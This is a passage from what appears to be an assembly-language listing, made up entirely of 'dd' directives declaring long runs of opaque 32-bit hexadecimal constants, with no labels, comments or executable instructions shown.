922C336Fh, 7D15172Fh, 1774AC0Bh dd 378E1C05h, 0C4AE3A78h, 2CA947CFh, 4726FBDAh, 0EF3F1CFEh dd 8443378Dh, 471AFCE2h, 619CBC23h, 20F86347h, 29604256h dd 0F41690C1h, 0CCC03B5Bh, 8D71C7BAh, 0EDE166BCh, 0C1D42875h dd 4CDF6726h, 77534D1Bh, 0B3F3424h, 4E0A9899h, 2D003047h dd 6E957FDEh, 0D4E03423h, 70E591B5h, 9B0A25C9h, 15BE7E4Bh dd 6104C4FBh, 0CEAE0B56h, 301893DEh, 9246CB3Dh, 0E9F645AEh dd 5544811Eh, 0A9D01E8Bh, 1735522Ah, 62A9D868h, 0C63D57E0h dd 33829052h, 9306F8F6h, 8703354Ch, 2791A88Ah, 0A85D0769h dd 49D07E9Eh, 6028C51Dh, 0DFB83B63h, 2B27D9E9h, 0A4ACD92Eh dd 0E01F17F7h, 5570B121h, 92950DA1h, 477F5205h, 4EF4FD91h dd 0D16F773Ch, 32B38569h, 0E7BDC294h, 0DAE3372Ch, 39DC3A3Bh dd 42C97758h, 678D02B1h, 79BE4854h, 66B947DCh, 7B43E898h dd 524E8964h, 874309AAh, 9DD7B73h, 46195DCDh, 1210E808h dd 3D263AE7h, 2C29476Dh, 0E2F0F596h, 62B83218h, 87D30FBCh dd 1F875215h, 4E157738h, 29F1EDE0h, 6BA4CCAh, 0F7729820h dd 0B8ECD6B8h, 0C3D91411h, 0C3463374h, 27C1DFE2h, 84192498h dd 2BA15338h, 8DEE48A4h, 0AC09470Ch, 0D48A8300h, 18469534h dd 979D0579h, 0B4E1287Ah, 3831E0E0h, 6756FF79h, 41B8B714h dd 0F43608E1h, 0BBBB31Eh, 6D1068CEh, 6F132762h, 0D85E2996h dd 38C97590h, 0B940E809h, 345BA796h, 4F6CDADBh, 1667E7E2h dd 0B7A4C66Fh, 78D2669Dh, 372F51CFh, 0C7A49FE8h, 34681766h dd 35F8E5B1h, 0EB1513ACh, 0CD420810h, 0F658790h, 87F33736h dd 55F1A4BDh, 0A16B1931h, 98FD1797h, 170585F1h, 9D4CDEF2h dd 4847E7BEh, 9A581A2Fh, 0E6327B5h, 37CE97BFh, 527026C8h dd 670D29CCh, 7AFDF47h, 12B45762h, 47A7EE7Ah, 0C1F81AD7h dd 6FD32723h, 0D89E2268h, 0AA7AB05Eh, 678D07A8h, 68BE3414h dd 0A7A947CCh, 590A62EDh, 0B3E597EEh, 872936E6h, 27D3BF48h dd 5290F7A8h, 67ED280Ch, 72D17731h, 0C794DA60h, 1597E7CEh dd 52A89104h, 87A32991h, 771181DEh, 52202549h, 677D28B8h dd 216E487Ch, 6189478Dh, 5746B0C5h, 0EB7D97DEh, 0D023376Ch dd 6CF298A9h, 836145BBh, 98DD5B4Ah, 17553D01h, 0A091C422h dd 0CA77F7B0h, 0F71D76FBh, 3A1E6EDCh, 2731E99Ch, 384A4A10h dd 6741FF89h, 4E8CB704h, 0E2271EDCh, 0BA3D974h, 728A97F2h dd 871309C6h, 0A39E175Fh, 0C72F755Dh, 67B87F75h, 0B2C6B774h dd 0A7C94E1Dh, 55EA7AC9h, 0FE58711h, 788CC2BAh, 18176AC9h dd 0C89F77C8h, 672F07D2h, 975736E4h, 0F3495773h, 47C6F668h dd 11C0689Eh, 6E32712h dd 2770477Eh, 13842748h, 98CF17ACh, 1714A1C1h, 0FE79D2E2h dd 0CF5FFA05h, 18C5971Dh, 976D9D09h, 0A4033C2Ah, 0D7611805h dd 4E781736h, 19E83249h, 58795742h, 5798F575h, 0E8F5127Eh dd 87C2BE88h, 2B115C9Ah, 0F71077A3h, 79129229h, 82CDB724h dd 0A7891685h, 2D179D51h, 18A7FDEFh, 970C39E9h, 0D839540Ah dd 0C63FF397h, 0EA7E1716h, 1765DC31h, 0F5193D32h, 0B9120893h dd 62158760h, 0C726382Ch, 0AA31D77Bh, 0D7D1FBB5h, 8F55A686h dd 0F8144D28h, 0A779C3CAh, 0A1DCA930h, 0B3A1A347h, 0B991A2A3h dd 9A2CD7FAh, 0C72F69E2h, 7A251647h, 8AA4487Eh, 0B7F7D087h dd 2F679DA0h, 0E7F5972Ah, 127C649Eh, 2701E850h, 0D38B3365h dd 25D582EBh, 89BB7E4h, 0E3D25D34h, 0A716E334h, 0E62F95A6h dd 95F17D2Eh, 638AD480h, 269F7F7Ch, 6F4DD6D9h, 237FBC35h dd 0F7FBA8E2h, 780F4A0Dh, 0FB3D970Eh, 0A26337ACh, 789E114h dd 0E7A157E6h, 4238327Ch, 22D38FFAh, 0D41C771Ah, 0EF8BDFAh dd 0B045B7C0h, 0B9E9A2E3h, 0E3E0D7BAh, 0C7FF7794h, 30DD17DCh dd 0D8E4817h, 2CA947EDh, 573267EDh, 4B5FDFEh, 8A8A5C97h dd 27D43F4Bh, 0E24977A8h, 30FD1D42h, 39B1224Bh, 639A5752h dd 4C7CA7DCh, 0E7259006h, 270EBAFCh, 7041C794h, 0CD4A884Bh dd 0E26D07A9h, 8AAFC9E4h, 0B7B61F07h, 0D7A27440h, 0E79587CBh dd 0C664BAE1h, 0E99AD7EAh, 911E77E2h, 6148E855h, 846BA7ABh dd 888757DAh, 0CA897C21h, 0F73ADFFBh, 759E87DCh, 4731A2C4h dd 38455D10h, 703F7689h, 7056BEE7h, 2C83BC93h, 0CA29DCEFh dd 0F74ADF03h, 0A7C44Ch, 74283C2Dh, 0F9D5E297h, 0DA3D17F6h dd 75BA203h, 0CFF32303h, 475782A0h, 0D94F02D1h, 3AF337ACh dd 2711960Dh, 8E03D8h, 773378D3h, 7BBB7E4h, 0E0CC9172h dd 47C7E741h, 18AB9F77h, 766F0D3h, 2771C7AFh, 9A8F7748h dd 6A9D1304h, 690BF85Eh, 87D7388Dh, 2B17911Fh, 0C6A0F167h dd 0F37378BCh, 784BA43h, 0A45F18CCh, 5687B53h, 62EFD6B6h dd 87235A73h, 6787D7C0h, 9246B731h, 0F5A65A61h, 5530B0BAh dd 0E681124Ch, 22F1DABh, 7365D258h, 0D4EA32AEh, 2F378E3Ch dd 9ED5E78Fh, 0E35D565Ch, 57B9B22Ah, 0A62B14FDh, 47C16378h dd 691AC3D7h, 0C0673E56h, 4AAAD7FAh, 9374C054h, 0E9CA5F8Fh dd 4B50F71Dh, 0A6AB5764h, 93C37FFh, 6E859770h, 8B0D3FC5h dd 35989110h, 8EF7F1EEh, 0F4775939h, 50819ECAh, 0FD4B1E19h dd 0F9A1DFBh, 273EC5E1h, 878C2573h, 6B1298D9h, 8E87F11Eh dd 0F4E759A9h, 4852F765h, 0E78E1285h, 0E1D632Fh, 6EBF9787h dd 877832EFh, 34F08359h, 9304FB8Eh, 0FD471659h, 97DAD2C1h dd 66B757AFh, 0BD8E5B74h, 1312129Eh, 74F84754h, 7F2D07D5h dd 0B5E7F16Fh, 0F018779Bh, 26E5DBAAh, 0D39CCA88h, 428B07E0h dd 5EFCD9F7h, 0CEE66DC9h, 54A9A45Fh, 8B2B7A35h, 5650E0CBh dd 8A2664AAh, 0F5F915A1h, 62C43F46h, 0D4AC5AFh, 2CAC163Eh dd 47275CA9h, 0E7B597FEh, 8743378Ch, 27D1D71Ah, 0C76F77A8h dd 67FD1726h, 78BB7B4h, 0A7195742h, 4797F7D0h, 0E725976Eh dd 4D337FCh, 37036F2Fh, 625C7718h, 677D552Ah, 444CB824h dd 0BFDADAA6h, 414C404Fh, 0A31E47DDh, 0C5081348h, 1CA8A5F6h dd 0D33C7FCAh, 4CC9558Dh, 92E2BBD6h, 0A7E9159Ah, 5CB7239h dd 0E2EE975Eh, 65BBF55Fh, 23E3B6B3h, 983AFFF8h, 8F4D0752h dd 7DBB760h, 0A76977FAh, 0CB627A20h, 0BE75879Dh, 8B772F75h dd 0C5951759h, 53AA889Fh, 0A4BD07A4h, 8A486E83h, 0A7C9735Dh dd 37A8E773h, 64E518D2h, 71913354h, 48D4AC3h, 0FD1C77C8h dd 4C286356h, 17C9B4D6h, 0FFB519FFh, 7D44A95Bh, 1851E39Eh dd 78E0DC1Eh, 7099C7C8h, 0ECF088B7h, 0DB103C08h, 5F2BA716h dd 648D1CE1h, 5AF72FFh, 6202971Eh, 87437508h, 27E1D72Ah dd 0C77F4B50h, 0F3889C36h, 0EF9BA786h, 58D6A1FBh, 47A7EF08h dd 7388147Eh, 87C3274Eh, 0BAD8DFEFh, 0C7FF5320h, 0EA828B4Dh dd 71BF5A0h, 3F1CD801h, 0CE17E712h, 0F7E7037Bh, 8730DF7Ch dd 0EEF2D70Ah, 47CCFC5Bh, 35ED1716h, 0F8855A4Ch, 1B9C54CDh dd 4487E782h, 0EB6F1488h, 802738ECh, 0A431D77Bh, 0C8CF6772h dd 675DEA02h, 0BA93C14h, 59B1BFF2h, 0C2F408CFh, 0E795D572h dd 0D43F15Fh, 275857E2h, 3EBF6E0Ch, 27CE63D8h, 4FD0466Fh dd 7808D613h, 0C6B8287Fh, 0ABB9D3C7h, 0DE6F42CCh, 0DE921F71h dd 70207812h, 13D1766h, 3435CF75h, 0CDC58B0h, 11D7F710h dd 9265AD2Dh, 97B9BC39h, 2D0AD521h, 2F4E865Bh, 9852E9A4h dd 45870267h, 226457E2h, 48BC8F40h, 0E7D5139Ah, 3BD6C8ACh dd 77F1C778h, 38712220h, 0DB9814B9h, 88ABA796h, 0B77BEBE7h dd 63B3F4F0h, 0E58514DDh, 31DCEC2Fh, 0A77334A2h, 6AC57F1h dd 4E893392h, 0B329358h, 4CE90CF6h, 48DC7689h, 93682C29h dd 2FB8B6B2h, 530AB95Fh, 9E94F69Eh, 1302B61Dh, 0D170369Ah dd 0D3B5E260h, 0D46C76F6h, 93D6CF87h, 0FA48B6E2h, 53B28F63h dd 8124F60Eh, 138C32A9h, 3700362Ah, 0D368728Dh, 0DF920846h dd 0BC95879Ch, 78DC4685h, 0E5328905h, 39A09E9Ch, 641EE8F9h dd 0EF33B3FEh, 5806A26Bh, 614E6238h, 5F63975Eh, 65912FEDh dd 252233AAh, 0AD14111Ah, 49A54F70h, 842448F1h, 76EE5F50h dd 0AFBFF24Ah, 188A629Fh, 0F400CDCCh, 25C167D1h, 0D7094EEDh dd 4056BDE6h, 0AD13DF1Eh, 0D2DAAD82h, 0AF464788h, 181A622Fh dd 87733604h, 53D3534Ah, 397FA6D5h, 8CDBFC9Ch, 7BB0FE1h dd 45E2D772h, 0D24A34BFh, 0E745AE0Eh, 5D14E007h, 0A3F42079h dd 0C70F6771h, 688D17C6h, 0E7EA77C1h, 253CA1E9h, 4637E749h dd 0EAA3917Bh, 94B81215h, 1E6352DCh, 0B27D77A8h, 56007130h dd 619F5CE1h, 0C10C565Fh, 0B81B1F4Bh, 0A4BE6881h, 2B56BE38h dd 8C51C7D8h, 436A80EBh, 677D079Fh, 81BB734h, 1B9D9757h dd 0B88B1FFAh, 722C6811h, 872375CCh, 1E4352FCh, 0B25E7788h dd 8CDC1812h, 0ACBB9CA6h, 238CA0F1h, 4787E7F9h, 9305975Eh dd 0F926BDCBh, 0E631C743h, 0CAA97CE8h, 0CC3B520Dh, 8D414FA4h dd 0B7402927h, 5C173630h, 6EE1F0CBh, 47209C5Ah, 354A7C8Ch dd 0C2B013C0h, 0E247BCF6h, 74B8EFAh, 47280F16h, 81A45CB8h dd 0F7D203BBh, 0A2683ECCh, 7FA2BEAh, 0C744CF8Eh, 7ED6BC00h dd 0EF93B39Eh, 58A6A38Bh, 8605F39Dh, 0E2039F4Eh, 2C95F7B5h dd 0B731D421h, 9F101DF2h, 985EE73Eh, 93BE379Bh, 0A1C947D5h dd 344F0D00h, 93071331h, 0F3A9C96Fh, 533B29F9h, 0B345890Fh dd 13D7E99Fh, 736149D8h, 0D3F3A96Dh, 0AC4E47FFh, 4DC22745h dd 4338ECACh, 0E78A221Ah, 7B148F88h, 0E308E075h, 71BA77Dh dd 17A957F2h, 432582E6h, 19FA1AFAh, 0BE3F9206h, 8CB7D70Ah dd 0B26A8B28h, 0E7FDA721h, 0ADCB48FBh, 58E635AAh, 0C312002Fh dd 0E7258757h, 0E1B337BCh, 5270B132h, 0A1F6C31Ah, 6D75A73Dh dd 17C2C9A1h, 0A46997B2h, 0B83A1FEAh, 6F256821h, 0BEA7B29Bh dd 0A7B1D7EAh, 0C53A7788h, 0C25791B6h, 77B8EE8h, 5B79FC44h dd 0F77082B5h, 184A174Eh, 0A509D9Ch, 371847D7h, 38B29FF8h dd 0E2BAE889h, 7CB8E80h, 0A3695792h, 2757F454h, 63F06014h dd 87032775h, 5381D7DAh, 4C7ACF6Fh, 2816170Ah, 3ECF3283h dd 0A7DA5712h, 0C358F690h, 0E7E597DEh, 2CD9DF0Ch, 659D6AC3h dd 0B7777C8h, 0D7D2E8A8h, 8E101D0Ch, 0B70BF7CFh, 0B97A1F00h dd 62A26861h, 87F30EA8h dd 2771D7B9h, 42F86D3Ch, 678D2E42h, 62BB754h, 89515D96h dd 0AFC8088Eh, 183A6995h, 2CF9DE2Ch, 657D52A1h, 8F477A8h dd 0DA84DF1Dh, 78BF560h, 1FD51FDBh, 71589387h, 81F5A4D5h dd 346C0A7h, 2451C7A3h, 0B3EF7728h, 0E5F8E1B5h, 870BA70Dh dd 0D715DB6h, 0AFE808ADh, 185A69B5h, 0E5750C4h, 0E7F27C2Ch dd 42A8DCFEh, 67FD2E92h, 77BB7A7h, 22FF0D46h, 4797CE42h dd 0F1FE2DEh, 785CCA6Dh, 0D8CFE592h, 3ACD9FF7h, 47EDE879h dd 0F810A3FCh, 0C140B45Dh, 21E20888h, 6C2E0665h, 972AB3C9h dd 0D07320EAh, 0C73F74BAh, 8FD962F6h, 0F8A44B58h, 490148A2h dd 2198085Ah, 81E06886h, 0C28A667h, 83945C95h, 0ECAF67AAh dd 9B759EAEh, 3E4F3203h, 0A75A5792h, 7FA3F710h, 0DEE11259h dd 87F3372Ch, 0BF5DDCAh, 0FE9BF2AFh, 67AD17C6h, 0D4EB664h dd 5834951Ah, 0BA0C1F7Fh, 622268E1h, 87730E28h, 2FF1D73Ah dd 6B677DBCh, 8FE2E8BBh, 0F8544AB5h, 9EBDD295h, 47B3F7E0h dd 0F031978Eh, 782EA1F4h, 0E7486F55h, 7F54BFC6h, 63F9D7BEh dd 0FF6E0FEFh, 4F023039h, 0B8D80A1Fh, 0DE311209h, 874B379Ch dd 55A4D71Ah, 0FEEDCA28h, 13FD1736h, 0FAEE5FDDh, 8EA1A8BDh dd 4D5EDEC8h, 0F71CE9CBh, 8457F7FCh, 1E3F7280h, 2F747708h dd 9892EADDh, 8D510694h, 0B7B0D537h, 7BEF5D40h, 0E86A6823h dd 0BE5DB2DAh, 233CD7EAh, 60F7348h, 0EA6D1FE6h, 6DB1CF2h dd 87110088h, 6E88084Dh, 5F63B372h, 70CACC3Eh, 371853EFh dd 0C7BF67F8h, 0D74A6376h, 0BFBD1D4Dh, 466BADE7h, 0BB0F5C46h dd 578A6842h, 47309DA4h, 0AF2C5E71h, 302F672Ah, 77849363h dd 74B9774h, 0F0CE2202h, 0B8AB2978h, 286ECDD1h, 4D586F0Ch dd 1E7D5240h, 8D1677C8h, 0AFC5BDAAh, 61444818h, 5089D6CAh dd 57FE7385h, 0E755D79Eh, 7E0432Ch, 827BFF7Eh, 0C71F4E34h dd 0DA14BCA0h, 73BF5D8h, 233CA049h, 4737E749h, 9285970Eh dd 85038795h, 37D8ABAFh, 4288DDB8h, 671D2EB2h, 79BB744h dd 1F995C27h, 7EDA72EAh, 0C9F976Eh, 0B67B5131h, 0A3D42082h dd 0C7EF6711h, 137D17A7h, 0D220736h, 0B7A02A67h, 44F33750h dd 0DED832E4h, 2C55376Ch, 0D7406F6Ch, 0FEDBF26Fh, 65ED1706h dd 50EB7A4h, 2039F86h, 4797CEBDh, 5A9C3C38h, 87B37544h dd 271847C2h, 4238DC08h, 674D2E02h, 7EBB71Ch, 879126D6h dd 0B00808CCh, 0F7BC134Bh, 8717375Ch, 97AAA2EAh, 0B9BA7DC0h dd 0CDCD07CFh, 82ACFA6Fh, 0A7F96E96h, 4767FFA0h, 5F93864Bh dd 2289D74Fh, 2701EE24h, 79CDC8Eh, 128FCCCh, 0DD39E4Ch dd 0B7602927h, 44333710h, 0DE1B32A4h, 2C95372Ch, 1E05523Dh dd 0D71F7748h, 0DFCB17D6h, 44F77E5h, 0ADC19372h, 577E8925h dd 0E87EF11Eh, 0BEE1B21Ah, 0CF5AD72Ah, 38708C67h, 5E9992B1h dd 7ABB7C4h, 0A94D1762h, 0C2B5A740h, 0E755AEF2h, 7C46DFB6h dd 68EC2855h, 5772FEC6h, 908D07F4h, 172233C1h, 0A7A957D2h dd 0F72B83E0h, 6E1E3D16h, 97018331h, 0CFD43C1Ah, 38908C49h dd 98067DCEh, 830E404Bh, 0A719477Bh, 3297F6D0h, 0ED652765h dd 978A4B79h, 28AA7D8Ah, 75CCF7Eh, 5E11B29Ch, 0AC9DB734h dd 50235602h, 573E73C5h, 0E59597DEh, 700C426Ch, 3788537Fh dd 0C34F7788h, 0D7C76206h, 79EEBD54h, 2DF9471Bh, 574E7415h dd 0F7E5564Eh, 6F58FBAh, 0CC2167C1h, 0CDFFC7F0h, 777469F3h dd 822C1D04h, 0A7796E16h, 47EFF720h, 5F1387CBh, 2209DFCFh dd 2781EEA7h, 0C69FDC0Eh, 2F0D1F0Dh, 3E36327Eh, 4F735712h dd 0B8A80D4Fh, 0DE6112D9h, 877337ACh, 52B0D75Ah, 7FF952ADh dd 0C227EFD5h, 7AB8E99h, 677AFC14h, 0D77ADEAAh, 105587DCh dd 97DAB3A9h, 771D7BAh, 76100248h, 186FCB1h, 0D33BEECh dd 0B7802A47h, 44D33770h, 0DEB83204h, 2C35378Ch, 65716A03h dd 6F577A8h, 259DB2BCh, 0ACFDB7D4h, 222B0FE2h, 47B7CE9Ch dd 1D4C7FD4h, 234C8F3h, 2741EE1Eh, 0C6EF772Bh, 0E28A3BD2h dd 71B8EB0h, 0AF9957C2h, 0C2E0D725h, 0E7B5AE6Ah, 8433377Ch dd 0F929DD7Fh, 2FA08861h, 9812ED5Dh, 0F881B74Ch, 5D48BFCDh dd 0C270083Fh, 0E705AEDAh, 97A337ECh, 0EE81DF0Eh, 3DE29FA2h dd 0E2AAE879h, 7FB8E90h, 0A37957A2h, 4047DD44h, 0DEF912E4h dd 67D2374Ch, 2F28DAF0h, 623D775Ch, 67DD2E8Ah, 87585344h dd 4F4253D6h, 0B8980E5Fh, 0F5FF68Eh, 787CCE3Bh, 0C7EE6F3Ch dd 0FED3D2E2h, 0CC5B1776h, 0F832511Ch, 23DCA07Dh, 67D7E729h dd 936597AEh, 0C34BC78h, 37C35F47h, 4EDE5C58h, 3F1DEB97h dd 3E47326Eh, 4F6357E2h, 0B8B80E3Fh, 0DE5112E9h, 876337BCh dd 2B85D77Ah, 4DFCFAEh, 5E61924Ch, 0D40B7C4h, 47C6EF04h dd 7ECB52FAh, 4C23979Eh, 782AA1F4h, 0A3E42055h, 0C4FF6701h dd 138C17B6h, 8CD43C1Bh, 0B7EBF757h, 0CEEFDC60h, 2E866BB6h dd 0BEC7B27Bh, 27D1D70Ah, 0C91A7728h, 5E8192ABh, 0F01B7A4h dd 0A4E0D702h, 431A0FA3h, 0F701D3A3h, 8F53F6FCh, 0C4EA5C3Ah dd 0F667111Eh, 1C67156h, 6F7B389Ch, 0A789570Ah, 0EC611642h dd 2E103C86h, 3F453119h, 8CD717CBh, 2FE5B438h, 9822EE2Dh dd 3EEF3263h, 0A7F95732h, 5D0377B0h, 628E58C5h, 87837568h dd 6FA81F41h, 3EC09F04h, 0A4FDE889h, 0FEDE5FAEh, 22E4A86Dh dd 47F7CEB0h, 0DEF11249h, 8703375Ch, 21E4F7DAh, 9FD75C3Fh dd 34360E0Dh, 2CB39C5Ch, 0F54DCD2h, 4657E7D2h, 0F7A71FBBh dd 0C4A36BCh, 0AE05F30Eh, 0D78F1F65h, 0EB909C56h, 2CBBA7A6h dd 0B70BDFF7h, 0C3420000h, 0A75587A7h, 0F3E3372Ch, 8CA920B8h dd 910F738Ah, 0A3209491h, 72BA716h, 0A660D3EDh, 4ADFF770h dd 0ACC5970Eh, 0C21D65D9h, 9D3E466h, 0C7333BFCh, 597F82C9h dd 8212B7D4h, 0A739158Ah, 7BFF7CB3h, 94CA4F7Dh, 0B380BC24h dd 0D8A4CE72h, 7F7AFCD7h, 3C7D07E4h, 8E07F537h, 0B7DB8B47h dd 4F55F450h, 0A5451267h, 0F4B8376Ch, 0A7722822h, 2F5F7798h dd 9812E3E4h, 45C30A2Fh, 4F5F5722h, 0B8780326h, 0A5AD02D5h dd 0CD2837FCh, 2B7BD472h, 2E4CB923h, 7D51883h, 8EBB715h dd 0A7780D26h, 0FB42F430h, 0E485878Ch, 97514FE9h, 0CF9D7BEAh dd 0C79DF277h, 214017F6h, 7FDE9C80h, 0A4E94750h, 0E48FA7A6h dd 640A68CAh, 97C18F71h, 2C64D75Ah, 0C8A330D3h, 673C0CE5h dd 3EC75CF4h, 0B71BEF17h, 4A52F810h, 0E46597AFh, 97B14FB9h dd 1F00B1CAh, 421052A7h, 67AD172Ah, 2C39F7EFh, 4F9963B1h dd 0B8B803E6h, 0A56D2A27h, 26C37BCh, 27F1D7DEh, 8533F2CBh dd 0E21E1756h, 7BBF5ACh, 0E01257E9h, 8A35F8FCh, 0DC45978Eh dd 4DC3F5Bh, 2761D76Eh, 0C4FDB7BBh, 0E28E03F1h, 70BF53Ch dd 12560780h, 4737B5B8h, 0D9870201h, 219379Ch, 9054D8DAh dd 2E6F77A8h, 67FD17BAh, 82844888h, 0A71957D6h, 4882C950h dd 0E7251CEBh, 86F5BCFCh, 777594A1h, 382C82F0h, 0DFD02E69h dd 72FBA766h, 1B0C54C5h, 4407E702h, 0F7D7EF5Bh, 63A6BE6Ch dd 0ACB1C7B8h, 1BCA4C88h, 15DD0744h, 0E7EE8C9Ch, 0D5F94760h dd 4777CAD9h, 0D077E74Eh, 87932834h, 0DB6F5A6Ah, 0C594B673h dd 5C5D5575h, 17995381h, 24652292h, 7618E7E4h, 0FB51D331h dd 4418DC2Dh, 65095255h, 4C4F7778h, 77FF6F53h, 0F3D85F74h dd 0EB8A8FDh, 0C757F790h, 0A0CE995Bh, 0BC7A45B0h, 0A50EDF0Dh dd 386088E4h, 0D5A8181Fh, 8C44481Ah, 0C8734Eh, 47C7DE84h dd 1CAA6861h, 0CD6275C7h dd 2771B79Eh, 73C39A8h, 0E0B91B4Dh, 176973D1h, 673CDEE2h dd 0CA37E732h, 0E7EC1FB7h, 0FFD6349Ch, 41E1C768h, 0EC31D21Dh dd 734F14F0h, 0C197F5EFh, 60C1AC14h, 47A7A461h, 0E735927Eh dd 7B85BE0Ch, 709289C5h, 0F991E2D7h, 8FBC17B6h, 1D8EB82Bh dd 0F79957C3h, 2D3F9D04h, 39306811h, 2332742h, 0AFCE88CAh dd 0C75F769Dh, 98099BFEh, 76A5F5Bh, 0C25A5732h, 2BEEB1B4h dd 8470C43Bh, 0F3CA4599h, 0D8319603h, 0D78D3BBDh, 55C8E886h dd 8EEBA72Ah, 0B73B0327h, 47EE1F30h, 82D697CEh, 0E2785608h dd 42CFA0A5h, 0AE57040Ah, 0EBF4786h, 6237DEF2h, 0F0E93275h dd 0B88FAA48h, 0E7E67FC1h, 0E2D037CCh, 5362B208h, 97CA0587h dd 0E4B7E14h, 62ACD298h, 98B10082h, 0AF2808F8h, 0E76597BCh dd 0E6B1526Fh, 57F4BCA9h, 0B1760508h, 0C87BBFh, 0EF6CB701h dd 5836BFD0h, 4747EF68h, 0A4B0C41Eh, 0E00D56C4h, 539E995Fh dd 97F611A1h, 0E6B7E34h, 62CCD2B8h, 58D10062h, 17480817h dd 77C01ADAh, 0EDD32721h, 260B87CEh, 2D6A886Fh, 0EE8D0788h dd 92E49378h, 0A7B969F4h, 0FAAA374Ah, 0E7A5D6B6h, 781367DCh dd 37EC47AFh, 0C76E1FA8h, 0DA91722h, 9274E0B5h, 0A7091516h dd 10939D84h, 0A5710291h, 433037ECh, 6BF4289Eh, 38DF675Ah dd 77537503h, 8A38E824h, 0B7C81F07h, 0D2F8A140h, 0E785A9B8h dd 88DCCFEFh, 27B16C7Eh, 9FCAFE88h, 0DDD0744h, 9294E194h dd 0A7E96980h, 0C3783735h, 0E70597EAh, 0D7C3F7F7h, 4D71D400h dd 0C7BF1FF9h, 981BD776h, 17E5F591h, 5891D492h, 41E0732Fh dd 62FC97BEh, 87137510h, 65F15A57h, 52A27778h, 67AD558Eh dd 721E525h, 0C94CA852h, 0C457E7AEh, 63EA68D6h, 87733269h dd 92FED720h, 0C78F3584h, 594782A9h, 0FF38B7F4h, 19CD588Dh dd 0CEC7F705h, 0F717E71Bh, 842A042Ch, 76218679h, 385E7322h dd 77DF4B73h, 41BE4854h, 22B947DCh, 0DDB3F8B0h, 0D4C5970Bh dd 0F3D6BE55h, 76E1C768h, 0D81726E9h, 370D1836h, 3915223Bh dd 67AC5742h, 42F473EFh, 62BC977Eh, 87D37574h, 55BA6F59h dd 8C647728h, 0E3F8E09Eh, 70BA70Dh, 0D2B957C2h, 2F92F456h dd 0D4A587FEh, 70F234AEh, 0AE2020FBh, 0D71DF31Dh, 4E62AF16h dd 4CF0B7A4h, 0CF8C540Eh, 7487E7D0h, 10D4948Ch, 0E42C01Dh dd 3773ABFFh, 70C0B408h, 84A411CDh, 1FB83A21h, 0B33AE0ADh dd 2CBE2733h, 3786BF0Fh, 0F04C0DDDh, 5358B983h, 0CB45F465h dd 0EC2D65F7h, 45D08BCFh, 0B7AB5406h, 0B82FB32Dh, 26D64EC9h dd 0C5F3B2F7h, 0ACD2D74Ah, 0F4BF53BCh, 0DFBF98A6h, 0C4CBB7F4h dd 0ACB29809h, 69F4A9Dh, 6C9997BEh, 2B3A04E3h, 21F3B6F6h dd 0C5680D64h, 5B0737FAh, 3BD7C338h, 9B1423DCh, 0A4AF8280h dd 0DAD41CD7h, 87266FE9h, 74CCDC4Eh, 0C88F258Bh, 98E224C3h dd 3AA83C2Bh, 0E4771E35h, 0B89173FFh, 0B0786871h, 889D625Fh dd 0D89ECC2Eh, 84A84AC7h, 0E3822585h, 0F8E44854h, 0F3FA07EFh dd 42A3F82Fh, 0D44A6801h, 796EDF57h, 37A428E5h, 38938D40h dd 99DCFFD9h, 8384484Bh, 58E6A9AEh, 517F25E3h, 0F25976Eh dd 784CC89Fh, 2741D762h, 2A5E2A18h, 677D2385h, 7F84DCDh dd 957633B2h, 57F42CBh, 6EF197CEh, 0B9A2514Eh, 0A2BE8DB7h dd 0C74F746Bh, 64E1498Dh, 3CEAD14Ah, 22F61272h, 4777F463h dd 0E713D4B9h, 889337FCh, 272211EFh, 9BFC81F8h, 0DBC91874h dd 8CDBB707h, 7545FD1h, 48475780h, 0E776393Ah, 0A7230A4Ch dd 0A39EF7FAh, 0C72F74CBh, 67759C6Dh, 11A8B774h, 4851BF53h dd 0CA54086Fh, 0E7F5D592h, 0E6F0F9BFh, 4682D70Ah, 5C77779Ch dd 68D2E8A8h, 7B8CD66h, 67ECD472h, 47C7E742h, 6C5DD515h dd 46C82766h, 0E742D3C9h, 0F0C72A3h, 0EE8D5D4Fh, 176937D1h dd 0ABF354E2h, 4637F7C8h, 592DC60Eh, 0B7ACC87Ah, 37D855BFh dd 0F75FC6B8h, 77349483h, 0F9BBDDC4h, 0B3510F9Bh, 0B8415308h dd 0E8E71281h, 6510F598h, 1ED542ABh, 22047738h, 5EF99251h dd 70BB724h, 85ED56C2h, 7E9372A7h, 0E7A697FEh, 8B46377Ch dd 1E45728Bh, 38A07788h, 6D06E0E9h, 3EFF3A25h, 0A7095722h dd 41EFE7C0h, 0BE15975Eh, 87A33184h, 71D98F7Ah, 4D3088EEh dd 77646B03h, 2D6F3114h, 0A7696EDEh, 7E8B72B8h, 76797DEh dd 0BE97B2ABh, 27A9D7FAh, 0CE4A7778h, 5EB3AA76h, 735AB794h dd 236CA0D7h, 4767E799h, 93E5973Eh, 0FB3EB7D7h, 2211C763h dd 7A2FC79Ch, 672D2E1Bh, 876CC3F1h, 0B760293Fh, 0D9A3F210h dd 0DEE11259h, 87F3372Ch, 2EF5D3CAh, 0FE63CAD8h, 10AF17C6h dd 0C39E34EDh, 0A7C947B0h, 0B8B55168h, 1A967FE1h, 0F68BC853h dd 0ACF1D738h, 0D7CD0B55h, 0E7801446h, 0EFABA796h, 58C6AB39h dd 45E673FFh, 52CE978Eh, 87C37564h, 245D8921h, 3AA39FE6h dd 0E582E849h, 71BB57Fh, 0C78D1D53h, 0CCC7F760h, 0E4E3C500h dd 0FD4023F6h, 0A354200Ah, 0C76F6791h, 12DD1726h, 0CF363EA0h dd 2A194700h, 57AE6765h, 8FA81C6Eh, 74B327ECh, 43F8802Eh dd 4ADF7712h, 777D1723h, 0B65E4424h, 548BB4B2h, 0C38200E4h dd 0E79587E7h, 8803376Ch, 27B1797Eh, 0EF3C8888h, 9830C6EEh dd 0BFFE3C6Bh, 22F94760h, 0DFF3F862h, 6C05974Eh, 97D14F69h dd 376B5C6Ah, 0A79B3D79h, 4CAD1776h, 5A8BF4Eh, 0D56A9EA1h dd 2F6ACC34h, 6C7587AEh, 97135FC1h, 0ACC7A5DAh, 62AC5354h dd 67AD078Eh, 6FEC3474h, 0A7D95702h, 465F8D1Bh, 10E69F64h dd 2F8C03Bh, 271195C6h, 0FE1BF22Fh, 676D1746h, 5CFB7E4h dd 0D54A4F85h, 0CEF7DE0Ch, 0F717532Bh, 0AF90BC2Ch, 0A286E7BBh dd 0C71F4ECCh, 679D1786h, 1FDCB520h, 5B92BFB3h, 0AC6E088Fh dd 0CFB69402h, 0D65F45B7h, 7845247Ch, 57CAFAE1h, 0EE0D070Fh dd 17D97F79h, 